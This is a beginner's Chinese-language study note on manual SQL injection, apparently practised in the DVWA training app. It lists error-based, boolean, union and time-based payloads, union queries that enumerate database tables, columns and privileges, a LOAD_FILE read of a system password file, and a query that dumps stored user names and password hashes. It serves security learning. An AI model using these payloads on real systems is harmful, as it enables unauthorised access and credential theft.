安全学习笔记day9-sql注入手工
一、注入流程
注入类型:
1、基于错误的注入(错误注入思路:构造特殊sql语句,获取报错信息,确认sql注入点) 典型使用 '
2、基于布尔的注入(布尔注入思路:闭合sql语句,构造or或者and逻辑语句注释多余代码) 典型使用 ' or 1=1 -- 或者 admin' and 1=1 --
例子1: SELECT * FROM `sys_user` WHERE user_id =''OR 1=1 -- '';
例子2:SELECT * FROM `sys_user` WHERE user_name ='admin ' AND 1=1 --'';
3、基于union注入(union语句用户联合前面的select语句,合并查询更多信息,一般通过错误/布尔寻找到注入点后通过union进行查询更多信息)
例子: select[colums]from[table] or union select x , y ,z ...
4、基于时间的盲注
1、使用方法: dvwa中 sql注入页面中
在表单中输入 1' or sleep(2) -- '
sql语句原型:
SELECT user_name,user_id FROM `sys_user` WHERE user_name ='1' OR SLEEP(2) --'';
二、一般过程:
1、猜测数据列数
2、查询数据库
实战:
A、查询表名:'UNION SELECT 1,table_name from INFORMATION_SCHEMA.tables -- ' --找敏感表名信息
B、查询数据库版本以及数据库名称:SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT VERSION(),DATABASE() FROM INFORMATION_SCHEMA.tables -- ''; --找库信息
C、查询数据库:
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT USER(),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';
D、linux系统加载password信息
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT LOAD_FILE('/etc/password'),DATABASE() FROM INFORMATION_SCHEMA.tables -- '';
渗透时转码为ASCAII HEX
3、查询数据表
实战:
查询指定表的数据列:
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='sys_user' -- '';
效果
延伸:查询用户特权以及表特权
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='USER_PRIVILEGES' -- '';
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT 1,COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME='SCHEMA_PRIVILEGES' -- '';
4、查询数据列
查询刚刚探测出来的用户数据表(直接可以查询密码,但是密码不是明文 将来怎么办,我是菜鸟还没想明白,继续学吧 mark)
SELECT user_name,user_id FROM `sys_user` WHERE user_name =''UNION SELECT user_name,PASSWORD FROM sys_user -- '';
5、总结: